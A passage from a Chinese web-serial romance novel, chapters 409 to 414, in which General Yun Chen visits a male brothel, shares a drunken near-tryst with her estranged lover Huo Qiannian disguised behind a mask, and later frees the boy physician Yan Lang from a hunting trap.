“老大,你气啥啊,天下两条腿的男人不好找,四条腿的**遍地都是——啊呸,我是说,霍将军既然约定两年后才见面,那谁先反悔谁是狗,在这之前,容卑职先带您去潇洒一回——”
说完,也不管云琛同意不同意,听没听到他在说些什么,荣易直接推着云琛上马,往离此地最近的越城而去。
两个时辰之后,荣易拉着愁眉苦脸的云琛,站在了城内最大的——
象姑馆门口。
楠国在沿袭前朝遗风这件事上,最令人们惊掉下巴的一项,就是允许象姑馆的存在。
和青楼一样,象姑馆也是供人消遣享乐的销金窟。
只不过里面不是莺莺燕燕的女子,而全是肤白貌美的男子们,俗称“小相公”。
因为楠国并不盛行男风的缘故,象姑馆数量较少,地点也通常在不起眼的偏僻角落。
云琛情绪还低落着呢,人已经被荣易拉到一处平平无奇的僻静矮门前。
荣易熟门熟路地敲门,抛下一锭银子打赏看门小厮,随后拉着云琛弯身进入——
霎时间,一座金碧辉煌的浮华琼楼出现在眼前,袅袅淡雾缭绕,亭台楼池间花丛与怪石并立,珠玉垂帘后美色与美景隐现。
云琛站定大厅内,只见头顶金丝檀木为梁,水晶碧玉为灯,四面绫罗纱帐坠满宝石珠玉,间或有身材挺拔的锦衣小相公穿行其中,俊美的容颜若隐若现,颇为撩人。
云琛一时之间反应不过来,半张着嘴,惊讶环顾,眼睛还没适应这一大片浓浓珠光宝气呢,人就被一群姿容各不同、但一个赛一个漂亮的小相公们簇拥着,笑着推进了贵客厢房。
等她彻底清醒,明白荣易那厮带她到了什么地方的时候,宽大的厢房里,已满满当当站了二十多个小相公。
有意气风发的少年郎,有桃花眼顾盼神飞的“男狐狸”,身材精壮高大的夜七郎,还有长着一双小狗眼、特别会撒娇的俏弟弟......
高、矮、胖、瘦,气质英武或阴柔,活泼粘人的,高冷不爱笑的……真真“环肥燕瘦”,应有尽有。
云琛的目光从一大群美男脸上扫过,吓得她猛往后一躲,惊恐地从座榻上弹了起来。
第410章 小相公
云琛这辈子经历太多“一大群**站在眼前”“一大群敌军站在眼前”,眼下还是第一次被一大群含情脉脉的美男包围住。
她吓得脊背发紧,直接从座榻上弹跳起来,却被眼疾手快的荣易死死摁住,半哄半骗道:
“老大!老大你冷静点!你先听我说!这地儿可贵着呢,我掏了四十两金,不退钱的,你必须得挑几个,就是听听曲子喝喝酒!不干别的!”
云琛哪里能接受这种离经叛道的东西,边挣扎要逃跑,边涨红了脸骂荣易:
“你这厮真是吃喝玩乐花样百出!连这种地方都来?对得起你家里十二个媳妇吗?”
荣易打不过云琛,只得拿出吃奶的力气拽住她靴子,用全身力气去拖:
“老大,这就是一喝酒聊天的清净地,纯素的,真的,我每次来也是图个清净和新鲜,我发誓!”
“滚!”云琛抬脚朝荣易脸上踹去。
就在她靴底离荣易脸只有半寸距离的时候,他喊出一句大实话,这才令云琛止住动作,慢慢收起了脚:
“老大!你不能在霍将军那一棵树上吊死啊!在旁边多试几棵!也让他有点危机感嘛!”
云琛没能第一时间捋顺这套歪逻辑,收脚的动作间,已被荣易重新摁坐在榻上。
望着眼前二十多个眼巴巴的美男子,云琛低着头不敢看,脸红到了脖子根。
瞧她那没出息的生疏样子,荣易咧嘴直乐,故作正经地又骗道:
“老大,打了好几年仗,到处民生不易。这象姑馆的小相公也是好几年没开张了,咱们既然已经全军解禁令,今日就当体恤民生,多少点几个,吃点喝点吧,不然他们回去也不好交代,要挨管事骂的。”
要不说荣易花花肠子多,最会唬人呢。
这一套说辞下来,云琛嘴巴动来动去,半天对付不出一句,只能僵硬地抬起胳膊,指了指一堆美男子里,站在末尾角落的一个,磕磕巴巴道:
“就、就、就他吧,帮我倒酒就行。”
荣易顺着云琛手指的方向看去,只见各样美艳英俊不同的美男们身后,一身形高挑的小相公静静站立。
他既不和其他小相公们一样,频频搔首弄姿,朝云琛抛媚眼,也没有在脸上和衣裳上花什么艳丽心思,端的是素净又端正。
尤其那一双微微上扬的凤眼,乍看竟与霍乾念有几分相似,只不过里面完全没有一丁半点的城府幽深,只有常人般平淡。
瞧着那双眼睛,荣易先是感觉身上有点**,恍惚有种被霍乾念抓到带他媳妇儿逛窑子的恐惧,接着表情跟吃了苍蝇似的,一脸纠结地斜眼看向云琛:
“老大,你口味还真是......还真是......专一......”
看出云琛这辈子只能在一棵树上吊**,荣易啧啧摇头,然后点了三位小相公留下弹唱陪酒,剩下的小相公们则行礼退去,厢房变得安静许多。
云琛点的那位小相**款上前,先向云琛行了一礼,然后熟练地开始为她斟酒布菜,声音朗朗道:
“姑娘好,我叫清玄,谢姑娘赏脸。”
“客气了,应该的应该的......”
“姑娘怎么不看我,我不好看吗?”
“好看好看……”
“那姑娘为何离我那么远,是我不香吗?”
“香呢香呢……”
“姑娘放松些,想听什么曲子?”
“你会弹琵琶?《春江花月夜》会吗?”
“我不会。瞧姑娘不自在,我去叫位琵琶琴师来,弹琴解解闷吧。”
“不用麻烦不用麻烦,我耳朵不好,听啥都一样……”
云琛乱七八糟回应着,一口接一口地低头喝闷酒,根本不敢多看一眼。
反观荣易那边,四仰八叉地斜靠在软榻上,姿态十分熟悉和自在。
他身旁两个小相公,一个给他捶肩,一个给他端酒,还有第三个抱了瑶琴出来,飘飘拂袖,弹起高山流水的动听琴音。
荣易听得入迷,晃悠着脑袋,跟着轻哼小曲。
云琛直到一连两壶酒下去,才跟着放松下来,人终于不那么紧绷。
这时,清玄笑道:
“姑娘是第一次来我们这儿吧,不打紧的,我们都是清场子,绝没有不规矩的事,您旁边那位爷常来,他知道的。”
云琛斜荣易一眼,心说我九月十八才颁布的全军解禁令,今日才九月二十二,便低声问清玄:
“我旁边这小子,最早什么时候来的,来了几次?你偷偷告诉我。”
这风月场上的都是人精,清玄早就看出云琛是荣易的上级,自然猜到云琛想打听些什么,于是笑而不语,只剥了两颗翠绿的葡萄放进酒杯,两手捧到云琛嘴边,笑道:
“姑娘且饮此杯,饮完我再告诉您。”
就这么一杯又一杯,一会儿葡萄,一会儿荔枝的。
一个时辰过后,云琛还没打听清楚荣易
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到底犯没犯过禁令呢,自己头已经晕起来,喝得两个脸蛋红扑扑,眼前也开始天旋地转,耳边的瑶琴音就跟那蚊子催眠似的,听得她昏昏欲睡。
云琛是第一次喝风月场上的酒,根本不知道,这些酒尝起来清淡,实则后劲儿十足,有时比烈酒还猛。
只是这会儿反应过来,已经迟了,她感觉胃里有些翻涌,爬起来想找净房去吐,身子摇摇晃晃间,清玄已体贴地扶住她,不仅捧来桶给她吐,还一边轻拍她后背,一边毫不嫌弃地用帕子给她擦嘴。
末了,云琛刚吐完,一杯温薄荷水已端到嘴边,清玄侍候着她喝下漱口,才又扶着她回座榻。
云琛从做护卫开始,到做将军,甚少被人这样伺候,就是霍乾念照顾她,也总因为常年当大少爷,从没当过小厮的缘故,总有些疏漏在。
眼下遇到个这么熟练又伶俐的,伺候得这样舒坦,云琛人性的惰性泛上来,禁不住有些飘飘然。
她看向身旁的清玄,望着那双颇有些熟悉味道的眼睛,酒意朦胧间,好似看见了霍乾念。
可惜只要稍稍将视线从那双凤眼上离开,又立马不像了。
视线变幻模糊之中,许多情愁往事慢慢浮现,一股脑儿冲上胸口,搅得她心头发酸,不禁酸红了眼圈,呢喃了声“阿念”。
清玄并未听清她在说些什么,侧身靠过来,刚想问一问,云琛已借着酒意大胆伸手,用手心遮住他下半张脸,痴痴望着他的眼睛,吐字清楚、缱绻、可怜又满怀情意地说了一句:
“你要是阿念,该多好......”
清玄不明所以,但乖巧地坐着不动,任由云琛捂着他半张脸,用那痴迷又醉意的眼神瞧着自己。
只是云琛看得时间实在太久太久,到后来鼻尖慢慢红起来,像是要哭的样子,清玄有些无措,求助地看向荣易,后者无奈叹气,对清玄道:
“‘替身文学’懂吗?让她看吧,解解相思愁。要不整几个会弹琵琶的小相公来,转移下她心思——要那种二十人琴声齐发,声音大得和惊锣一样的,有吗?”
荣易话刚说完,云琛忽然闭上眼睛,慢慢朝清玄的脸倾斜过去。
平日见惯了**手毛脚不体面的客人,此刻面对云琛这种美人儿的投怀送抱,清玄下意识没有闪躲。
他张开两臂,准备迎抱,云琛的身子却与他擦肩而过,一头栽倒在地上,打起轻鼾,俨然醉彻底了。
第411章 面具
一晚上七八壶酒灌下去,云琛醉得彻彻底底,记不清自己是怎么回去的。
只隐约感觉荣易迈着六亲不认的醉步,扛着她一摇三晃地往外走。
期间两次将她的头撞在门框上,三次将她的屁股怼在树上,看得旁边来送行的清玄直咧嘴。
最后出矮门时,云琛抬起红扑扑的脸蛋,醉眼朦胧地看着清玄的眼睛,笑着捏了把他的脸,大舌头道:
“你好嫩……阿……”
最后一个“念”字还没来得及说出口呢,她就再次彻底醉晕。
第二天酒醒时,她揉着疼痛不已的脑袋,断断续续回忆起昨夜的事。
当想起自己好像捂了又摸了人家小相公的脸时,她吓得“啊——”一声大叫,甩着手从榻上跳起来,胳膊伸出去老远,根本不敢正眼看自己那罪恶的“爪子”。
这会清醒又冷静,她彻底反应过来,昨夜是被荣易那厮诓骗了,想揪住荣易捶一顿,伏霖却来说:
“荣将军让我替他告假几天,荣家老爷子有急事,叫他回去一趟。”
等十天后,荣易回来时候,云琛第一时间冲上去,给了他屁股上两脚,本意只是吓唬一下,谁知荣易竟捂着屁股跳起来,疼得眼泪都出来了,呲牙咧嘴道:
“老大,别踢我了,我爹不知道从谁那听说,我去象姑馆玩,抽了我三十鞭子,我现在连凳子都坐不得。”
罗东东从旁笑骂:
“活该!敢带老大去那种地方,等霍将军知道了,铁定扒你一层皮!”
荣易摸着全是血痂鞭痕的屁股,哭丧着脸:
“已经扒掉一层皮了。我严重怀疑就是霍将军告的状,不然我老爹怎么会知道?而且他从来不管我这些事,这次却特别生气——哎不对,那又是谁告诉霍将军的呢?”
“那就不知道了。”伏霖似笑非笑,使劲拍拍荣易的屁股,疼得他直冒冷汗,才大摇大摆地离去。
三天后,荣易还趴在榻上养伤时,一个身影在经过几个不眠夜的挣扎考虑后,鬼鬼祟祟地摸进了他帐子。
云琛扒在荣易榻边,只从榻沿露出一双水汪汪的眼睛,两片红透的脸颊,扭扭捏捏地小声开口:
“荣易,那个,那个……那天去的象姑馆,地址在哪儿,我没记住,那个,这个,我还想……”
荣易听完眼睛一亮,什么屁股疼都忘了,支起身子,嘿嘿浪笑道:
“你还想再去?老大,你终于开窍了!就是嘛,光骑一棵树上玩有啥意思,旁边几棵也骑上去试试哎呦……”
在挨了云琛两拳头之后,荣易止住荤话,捂着鼻血,告诉了她象姑馆的地址。
只是这次荣易身上有伤,不能陪她一起去。
云琛独自一人来到象姑馆,选了最僻静的一处厢房,拒绝了管事想要给她推荐八个小相公齐上阵伺候的好意,只要了一扇短屏风,点那清玄再来。
当清玄坐在屏风后头摆弄茶具,只从屏风上沿露出一双熟悉的凤眼时,云琛一瞬间怔住。
时至今日,她好像才突然设身处地地懂了,当初霍乾念为什么一次次召丹蔻,却只叫人在屏风后头坐着了。
原来只些许朦胧幻影,亦解相思之苦啊……
清玄不明白这是在干什么,小声问:
“姑娘,要我做些什么吗?”
云琛痴痴凝望着屏风与清玄,眼神早已是在看另一人,喃喃道:
“你行走坐卧都随意,让我看看就好……你的眼睛,很像我的一位……”
斟酌了半天,云琛也不知道,她现在与霍乾念到底算什么关系,只能吐出两个字:
“朋友。”
清玄耸耸肩,听话照做,对他来说,什么样奇奇怪怪的客人都见过,云琛已经算非常正常的那类了。
云琛就这样一边望着屏风后的“霍乾念替身”,一边回忆起曾经与霍乾念的点点滴滴。
一杯接一杯的冷酒灌进胃里,从眼睛里冒出来时,却是滚烫滚烫的。
云琛心里难受,没想到自己竟沦落到来象姑馆、找勉强与霍乾念两分相似之人来排解相思的地步。
再想到,等她回去的时候,荣易铁定误会她去象姑馆寻欢作乐,少不得腌臜她半个月,她心里更难受了,不停地长吁短叹抹眼泪,就连清玄什么时候离开的,她都没有发现。
等她再抬起头时,只见屏风后面空空如也,厢房门扇大开,在香风暖雾里晃悠个不停。
“咦?人呢?我的‘阿念’……啊不是,清玄小相公呢?”
她睁大眼睛到处寻,视线因为酒意而微微朦胧。
“我在。”
一声浑厚有力的男音从门外传来。
紧接着,“清玄”一身玄底麒麟纹的圆领袍,腰系双**衔口玉带,脚蹬赤金描彩黑靴,长腿迈过门槛,大步走了进来。
云琛眨巴眨巴眼睛,盯着那昂贵夺目的衣裳,微有醉意地问:<
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br>“小相公,你去换衣裳了?这衣裳真好看,一看就很贵——咦?你脸上那是什么?”
“清玄”抬起修长又骨节分明的手指,轻扶脸上琉璃飞凤的面具,声音低沉有力:
“姑娘不是喜欢我的眼睛么?其他不喜欢的,我便遮起来。”
云琛这才注意到,那面具将“清玄”脸上其他地方全都遮住,只留一双凤眼露在外面。
只是“清玄”的眼睛,怎么不像方才那样平凡清淡了?
好似换身衣服回来,眼神也跟着换了,变得幽黑深沉,像两道深不可测的悬崖,从中燃着两点灼灼星火。
云琛掏掏耳朵,揉揉眼,愣愣地看了片刻。
她总觉得不过一会会的功夫,“清玄”似乎与刚才大不一样,身量变得高大,肩膀更宽阔,腰肢也更壮了些。
且眼神、气质,都像换了个人,声音虽因为面具遮挡,加上她耳背,听不太清楚,但明显也大不相同。
云琛想不通,“清玄”这是玩什么花招呢,但将他从头到脚打量了几个来回后,她连连点头,道:
“小相公,你这样打扮好看,我喜欢。”
“怎么,显得更嫩,更香,更好看了,是么?”
“不是,更像我的……朋友了。”
“朋友?”
面具后的声音反问一声,好似挑了挑眉,语气明显不悦。
“对,是我的朋友。”云琛又重复一遍,酒意逐渐浓盛间,她打着醉腔继续道:
“像我的朋友……阿念……像极了那个……要与我两年后才见面的阿念……荣易说了,两年就两年,谁先反悔谁是……是……是狗!”
面具后面轻笑一声,“清玄”抬手摸摸面具,轻轻摇头,飞快地叹口气,说了句什么“看来三十鞭还是太少”,然后趁云琛没听清,径直拿起一旁乐器架上的玉骨琵琶。
他一脚将那矮屏风踹远,茶具矮桌踢开,直接盘腿在云琛对面坐下来,琵琶在怀里一斜一竖,白皙修长的手指搭上琴弦,一曲《春江花月夜》立马不紧不慢地响起。
云琛虽然听得不太清楚,但约莫还是能感觉到音律,不由竖起大拇指,赞叹道:
“小相公,你弹的真好,哎?你那天不是说,你不会弹琵琶吗,怎么今日又会了?”
“清玄”拨弄琴弦不停,声音幽幽如魅:
“原本不会的,但知道姑娘喜欢,便特意去学了,姑娘喜欢吗?”
第412章 回心转意
“清玄”那漂亮的十指拨弄着琴弦,明明那么柔媚的抚琴姿势,被他做起来,却格外潇洒有气势。
云琛不觉看呆。
当听到他问“姑娘喜欢吗?”,她忙不迭点头,边从身上摸钱袋子,边道:
“姐不白看昂,姐给你钱,放心!”
结果浑身摸了个遍,也没摸到钱袋。
她脑子开始醉得稀里糊涂,索性去解腰带、脱衣裳,想翻点银子出来,不料吓得“清玄”直接琵琶弦崩断,两步冲上来,有力的手掌摁住她的动作,语气温柔命令:
“乖,衣裳穿好,不许撒酒疯——不许对别人撒。”
云琛茫然点点头,抬头直直望进“清玄”的眼睛,呆呆怔了片刻,泪水慢慢泛起。
她吸了吸鼻子,不高兴道:
“喂,把你的手拿开,别碰我,给我倒酒去。”
“清玄”用带着笑意的声音“嗯”了一声,挨着她坐下,将梅子汁、蜂蜜、洛神花汁子倒进酒壶晃一晃,稀释过后,调均匀,才倒出一杯,单手提给她:
“喏。”
“哼!”云琛将头扭到一边,发起小脾气:“你那天不是这样喂我的,我喜欢那天的喂法!”
“清玄”愣了一下,眼神和声音都沉了下来:
“那你示范一下,我那天是怎么喂你的?我有些忘了。”
“好!”云琛爽快答应,然后摇摇晃晃低下头,咬住酒杯边缘叼起,慢慢向“清玄”爬过去,直到凑到他面具嘴边,吐字不清道:
“这样喂,我要……这样喂!”
不知是不是云琛的错觉,她好像听见面具后面有银牙咬碎的声音。
瞧着她酒色粉红的脸,娇艳的红唇贝齿叼着香气四溢的酒杯,杯中亮盈盈的酒水轻微荡漾,趁得她眼睛愈发含水动情,“清玄”腮帮子狠狠动了动,深吸一口气,抬手夺过酒杯掷出去,语气听起来有些生气发酸:
“姑娘在外面玩得这么花?不怕你家夫君知道吗?”
云琛还保持小狗姿势爬着,歪歪头,眨巴眼,道:
“我没有夫君,我单身的。”
“……”
“我与他春雨时分手,至今未和好,我可不就是单身嘛!他与我约好两年后再见,意思是这两年我随便玩,多花都行!”
“……”
“放心,今日我是一个人来的,旁人谁都不知道。此处只有天知地知你知我知,做什么都不要紧。”
“……”
“怎么,你不喜欢我了吗?”
“……”
沉默半晌,面具的鼻子都快气歪了,后面传来的语气酸涩苦辣什么滋味都有,艰难地挤出两个字:
“喜……欢……”
云琛开心笑起来,“那就好,我也喜欢你,好喜欢好喜欢。”
说罢,她身子往后一仰,舒服地靠坐回软榻上,摇头晃脑地哼起小曲,只留“清玄”还僵硬地杵在原地,手心都快掐出血了。
“快给我倒酒呀。”她又使唤他。
他只能又去倒酒,而后攥着杯子,声音低垂:
“姑娘恕罪,在下戴着面具,喂不了你,还请姑娘自己喝。”
云琛大度地摆摆手,“不妨事”,然后自顾拿过酒杯。
喝着喝着,似乎是一个人喝酒太闷,她将一壶未兑梅子汁的酒往他面前一推:
“你也喝。”
犹豫了一下,他将脸上面具微微掀开推上去,露出一点唇角,直接对着壶嘴咕咚咕咚干掉一整壶。
放下酒壶时,他快速将面具继续戴好,望向她的眼神已重新淡定自如,不似方才那般,被她一言一行牵动百般情绪,眼神也变得愈发黑亮,定定地、直直地、毫不避讳地望着她。
她摸摸自己的脸,“你一直盯着**什么呀,不怕你家夫人生气吗?”
他道:“我家夫人知道我只爱她一个,不会生气。”
“哦。”她点点头,“你家夫人亲口对你说的?”
“我与她情意相通,无需多言。”他语气笃定地说完这一句,顿了顿,又哑着嗓子低落道:
“只是我千不该万不该与她逗趣,叫她以为我不想她,不念她了。”
“那事实到底如何?”
“事实是,我想她想得快要发疯,日不能思,夜不能寐,恨不能长双翅膀,日日飞伴她身边。”
她端着酒杯,皱眉沉思片刻,下结论道:
“所以说,怪你太闷骚,你活该呦......”
他苦笑摇头,“姑娘说得对。”
“那再自罚一杯。”她将自己用过的酒杯递给他。
他接过来,仰头一饮而尽,一滴酒顺着下巴滑落向喉结。
下一刻,忽感觉眼前人影一闪一晃,云琛突然毫无征兆地整个人倾身过来,轻轻嗅嗅,然后——
吻向了他的喉结。
她伸出柔软又小巧的舌头,绵软地卷走他喉结上的酒珠。
他浑身一震,一把推开她,不可思议地透过面具瞪着她。
只可惜,上半身尚且听话,还在叫嚣“不可以!”下半身却已朝她飞扑而去。
因此,当她推倒烛台,令光线变得昏暗,再次朝他倾身而来时,他没有拒绝,只是愣愣地看着她越来越近的眉眼,那柔软的嘴唇勾着粉嫩笑意,眼中是他从未见过的放肆妩媚。
她再次吻上他喉结,轻轻啄一口,温热的呼吸拂在他皮肤上,然后顺着喉结慢慢往上,再往上……
她整个人钻进他怀里,令他不得不仰起身子拥抱,下意识搂住她的腰。
她起身些许,垂眸看着他的眼睛,接着两手捧住他的面具,轻轻往上推起一点,低头吻了下去。
他只感觉视线一瞬间黑暗,触觉顷刻变得无比敏感,当她柔软的唇覆上来时,他全然忘记所有,只知道用力吮吸和回应。
用尽最后一点残存的理智,他踢飞两个酒杯,打灭了剩下所有烛火。
厢房内彻底暗下来,乳白的月光照着锦榻上两个人影紧紧交缠。
黑暗中,除了充满爱意、急切与欲念的喘息,再无其他任何声音。
她趴在他身上,一遍遍地吻他,呼吸整个都是紧张错乱的,却感觉前所未有的甜蜜。
很快,欲望占据上风,他的面具早已不知什么时候掉落,控制不住地翻身将她压下,手往她衣襟下探去
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这险险最后一刻,她及时停下亲吻,喘着气息对他说:“我真的好喜欢你。”顿了顿,她又笑着补充了三个字:
“小相公”。
像是一盆冷水当头淋下,他刹那间清醒过来,整个人全部僵住,身子猛地向后退去,犹如对洪水猛兽避之不及。
等她重新点燃蜡烛,已只能看见他匆忙拾起面具、狼狈夺门而出的背影。
她捂着羞得滚烫的脸颊,笑倒在榻上好一阵,偷偷坏笑:
“被你吊了那么多年,也该让你尝尝被吊的滋味啦,坏家伙,一身梨木香,我早就闻见啦!”
……
……
另一边,驾马狂奔而去,消失了七八天的某人,又灰溜溜回到狮威军营地,一头扎进主帅大帐不再出来。
段捷好奇地掀开帐帘看过去,只见霍乾念面朝里躺在榻上,抱着被子缩成一团,两个肩膀微微颤动,不知在干啥。
段捷试探着喊了一声,霍乾念直接一把用被子蒙住头,整团被子抖得更厉害了,隐隐还有“呜呜”声从里面传出,搞得段捷浑身直冒鸡皮疙瘩,指着帐篷里,极其不确定地问叶峮:
“他被子里好像有个女鬼在哭,你听见了没?‘呜呜呜’的,该不会只有我一个人听到吧?”
叶峮伸头往帐篷里瞧了瞧,表情也有点惊悚:
“我情愿是女鬼,可惜不是,是少主在哭。”
“霍乾念哭??”段捷人都傻了,瞪得眼珠子都快掉出来,难以置信地又问一遍:
“你是说霍乾念在哭?这个全世界最冷静淡定的家伙,这会儿在哭?**,我从小到大第一次见他哭。”
叶峮有点奇怪:“从小到大?您以前和我们少主认识?”
段捷脸色有点不自然,立即岔开话题:
“他这到底什么情况?去时摩拳擦掌,又是穿新衣,又是戴面具的,一副听说云将军逛象姑馆,要去好好收拾云将军的样子,回来怎么这德行?”
叶峮并未在意刚才的小话题,显然更被哭泣的霍乾念所吸引,摸摸下巴,咂摸咂摸嘴:
“明显‘被’收拾了呗。”
段捷恍然大悟,再去看帐篷里哭得心碎又崩溃的某“怨夫”,忍不住“啧啧”两声:
“活该。谁叫他唬云琛两年后再见面的,这下玩脱了吧!”
说话间,霍乾念竟越哭越大声,吸引得路过的将士们都好奇看过来。
段捷觉得这样下去不是个办法,太有损霍乾念平日高冷威严的形象了。
他掀开帐帘走进去,坐到榻边,用胳膊肘捣捣霍乾念:
“你怎么了,什么事这样难受?说出来让我高兴高兴。云琛不要你了?她喜欢上象姑馆的小相公了?”
回想起云琛那般柔情蜜意,连亲带抱又调戏的,竟然不是对他霍乾念,而是把他当“清玄”啊!
霍乾念没有回答,只是将头死死蒙在被子里,用“哇——”的一声大哭,表示了回答。
段捷吓得浑身一抖,打了个激灵,揉揉被刺痛的耳朵,嘿嘿贼笑:
“我有一个馊主意,可令云琛回心转意,你想不想听?”
第413章 好久不见
要不说,新手一出招就没轻没重的呢。
云琛这通操作,火力过猛,杀伤力太强,整得狮威军那边一片凄凄惨惨。
而与之形成鲜明对比的,则是虎威军这边的春风得意马蹄疾。
罗东东他们发现,云琛自打第二次从象姑馆回来,简直跟换了一个人似的,容光焕发,精神抖擞。
批军报的时候哼着歌,督导修筑边境线时,那么枯燥又繁重的事务,她不仅没嫌烦,还带头撸起袖子垒筑矮墙。
罗东东在旁带队开路、清理杂草。
他打量云琛的神色,是将近半年来少有的阳光明媚,便憨笑着靠过来:
“老大,咱是不是留一部分人筑墙、守边境,剩下人都要回京的?”
云琛手里忙活给土砖抹泥,“对。先回京向皇上复命述职,而后由皇上裁定大军安置。”
“那咱们自己回?还是和狮威军会师同回呀?”
“肯定一起回。”
“那啥时候回?”
“快了。等线修回故英城吧。”
回答完罗东东的问题,云琛的嘴角已经高高飞扬。
想起前几天狼狈逃出象姑馆的某人,她有种预感:
霍乾念应该已经在想法子、找理由要与她见面了。
既踏踏实实确定他的心意,她忍不住心里偷笑:
不是说两年嘛?谁先反悔是谁狗哟!
她兀自美滋滋想着,一抬头,刚才还在原地割草的罗东东等人,不知道啥时候已经割出去二十丈远,手里镰刀都快抡出火星子了,还互相催促着:
“快快!加油干!把线修回固英城!”
“早点干完早点回家!哥儿几个上强度啊!”
很显然,将士们打了几年仗,也都已疲惫至极,早日回京,已是她与所有将士们共同的心愿。
“老大!你们盖快点!俺们进林子了!”罗东东和几个割草清路速度最快的将士,站在一处又深又密的林子入口,朝云琛喊道。
云琛挥挥手,习惯性嘱咐:“好,我们随后来,你们小心些。”
罗东东等人立即钻进林子。
谁知几人刚钻进去没一会儿,一声突兀的尖叫声就划破天空,震得林中鸟儿纷纷炸翅。
伴着鬼哭狼嚎的惨叫,罗东东等人又从林子跑了出来。
一个个撒丫子狂奔,那架势跟后边有鬼撵似的。
罗东东跑在最后面,不知是被什么吓到了,竟面如土色,结结巴巴,惊恐道:
“老老老老老大!林子里有有有有有鬼啊!”
“鬼?”云琛疑问皱眉。
虎威军的将士们嘛,杀敌冲锋不在话下,弱点就是和这世界上大多数人一样,都怕那些飘渺玄乎、摸不到砍不着的玩意儿。
你要说前面有五百个黑鳞骑兵在那,虎威军将士们保准没有一个惮的。
但你要说前面坟头有个披头散发的红衣女人在哭,这群小子估计能全吓尿。
看着一群大男人吓得瑟瑟发抖的样子,云琛无奈,只得扔下手中活计,亲自带队过去,顺手拔出太平剑,亮出剑刃。
对着云琛无所畏惧的背影,罗东东用哭腔在后面大喊:
“老大!保重!!”
说完罗东东又觉得不太对,就云琛那架势,显然该保重的不是她,是鬼。
话说云琛亲自带队,走进那又深又密的林子。
此处南偏东,地势陡然变低。
林子里泥土松软湿润,散
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发着淡淡的腥味。
四周全是雾气,不见太阳,树木伫立其中,模模糊糊,看起来颇像一个个张牙舞爪的鬼影。
不知是不是环境的影响,再加上罗东东几人吓成那样子,云琛等人一进林子,都不自觉安静下来。
没人说话,脚步也都放得很轻。
云琛走在最前面,专注地戒备检查。
其他人则注意力都在罗东东口中说的“鬼”上,抱成一团,慢吞吞走着,不安地环顾四周。
忽然,一阵“吱呀——吱呀——”响起来,动静不大,但还是吓得众人一激灵。
一个将士惊恐:“什么动静?是鬼走路的声音吗?”
另一个将士声音颤抖:“不会吧……鬼不是都用飘的吗,在半空中那种……走路?还嘎吱嘎吱的……鬼也骨质疏松吗……”
说话间,众人来到林子里最阴森潮湿的地方,那“吱呀”声也越来越清晰。
“喂!”一个声音在众人头顶上发出来。
所有人抬头望去——
只见半空中飘浮着七八个惨白的鬼影,以非人类的姿势脚朝上、头朝下,披头散发,正直勾勾地盯着众人。
“啊——鬼啊——”一个将士发出刺耳的惨叫,其他人也跟着大叫起来,本来想跑,但因为云琛还在原地,众人都没敢跑。
毕竟鬼可怕,云老虎更可怕。鬼又不会拿军法罚人。
在众人群鸡打鸣式的惨叫中,云琛走到那七八个鬼影下面,仰头打量了一会儿,然后抬手挥剑,以剑气划破浓雾,清晰地露出那鬼影。
她惊讶望向其中影子最短小的一个“鬼”,对着那“鬼脸”笑起来:
“小孩儿哥,好久不见。”
第414章 **
炎朗被绳子吊着脚,脸朝下看着云琛。
不知是吊太久的缘故,还是觉得丢脸,炎朗的脸蛋红扑扑的,看着格外稀罕。
“我给你二两银子,你放我下来。”他说。
云琛“嘿嘿”坏笑,“我给你二十两,你先告诉我,你是怎么把自己弄成这副鬼样子的”。
炎朗没有说话。其他几个倒吊的“鬼影”则齐刷刷望向其中一个“鬼”,没好气道:
“都是这货!说要设陷阱抓鹿,结果把我们套进来了!”
这下清楚了。
从来就没有什么鬼,不过是炎朗和他那几个傻的可爱的护卫,中了自家陷阱被吊起,绳子又恰好被浓雾和树枝遮挡而已。
再加上一个个都头朝下,披头散发的,才让人误会成鬼。
云琛身后的将士们全都松了口气,七手八脚地将护卫们放下来。
只剩炎朗还吊着。云琛用剑柄轻轻捣他一下,他立马“吱呀——吱呀”地转圈。
那模样小小一只,跟个小鱼饵似的。
所有人都看乐了。
炎朗咬牙切齿,从齿缝里挤出话:
“云琛,你做个人行吗?”
在众人的哈哈大笑中,云琛将炎朗解下来。
他恼怒地使劲拍打衣服,瞪了云琛一眼,然后瞬间愣住。
眼前还是那张俏丽的脸,巴掌大小,嵌着一双比泉水还清澈灵动的眼睛。
但她的脸色却差到了极点,所有内脏在面部的反射区全都呈灰暗色。
这是只有医者能看出的病色。
在旁人眼里,云琛生龙活虎,容光焕发,只是有些疲累。
但在炎朗眼中,她就像一块鲜亮锦缎包裹的碎玉,内里几乎全部重创带伤。
若他再晚来几个月,只怕她要落下不愈病根,当真活不过三十岁,那便是扁鹊在世也无力回天。
他盯住她鼻梁,轻声说了句话。
所有人都笑了。
只有云琛先是一脸茫然,而后看到旁人笑,便也跟着傻傻笑起,但显然她只是附和,根本不知道炎朗说了什么。
那样子看得炎朗心拧在一起。
他面上没有表现出来,只是脸色愈发冷。
“老大,这位小公子说,‘给我们每人二百两,今天的事别传出去行不’,哈哈哈——”一个将士拉高嗓门说。
云琛这才了然,满口答应,笑着推搡炎朗往林子外面走,说要做东道主,给他接风。
……
……
半个时辰后,离此处最近的泰川城里,最大的酒肆里满满当当摆起一桌。
不出炎朗意外,全都是牛奶、甜饼、八宝糕、果子酿……满满一桌小孩儿饭。
云琛热情地帮炎朗夹菜,还招呼小二过来,指着炎朗座下道:
“小二,这凳子太矮,他夹菜不方便,有高凳子吗?”
和故英城一样,泰川也是边境城,里面的百姓大多都认得云琛,再加上云琛时常带将士来酒肆吃饭,小二已和云琛十分熟络。
他打量炎朗一眼,笑道:
“云将军是说‘儿童餐椅’?有的,这就来!”
在炎朗猪肝一样的脸色中,小二搬来一个比普通凳子高许多的椅子,上面还围着一圈粉色的碎花布。
见炎朗不动弹,只是抱着胳膊,脸长长地坐在那里,云琛索性亲自动手,抓住他两边胳膊肘子,一把将人提起来,安放在儿童餐椅上。
云琛动作太快,炎朗根本没来得及反应,就被迫坐上了椅子。
他瞪着云琛,后者呲着牙花子朝他笑,又给他夹了一大筷子鱼糜豆腐。
“多吃点鱼,长个子。”
炎朗眉头跳了两下,咬住腮帮子:“我有离魂症!不长!谢谢!”
“忘了忘了。”云琛歉意笑笑,但炎朗看得出,她歉得非常敷衍,还是和从前一样,根本不把他这人人忌讳的病症当回事。
他无奈地摇摇头,开始吃鱼糜豆腐。
云琛又问:“你怎么到楠国来了?这里虽然和东炎接壤,但过来怎么也得好几百里呢,你来这干嘛?”
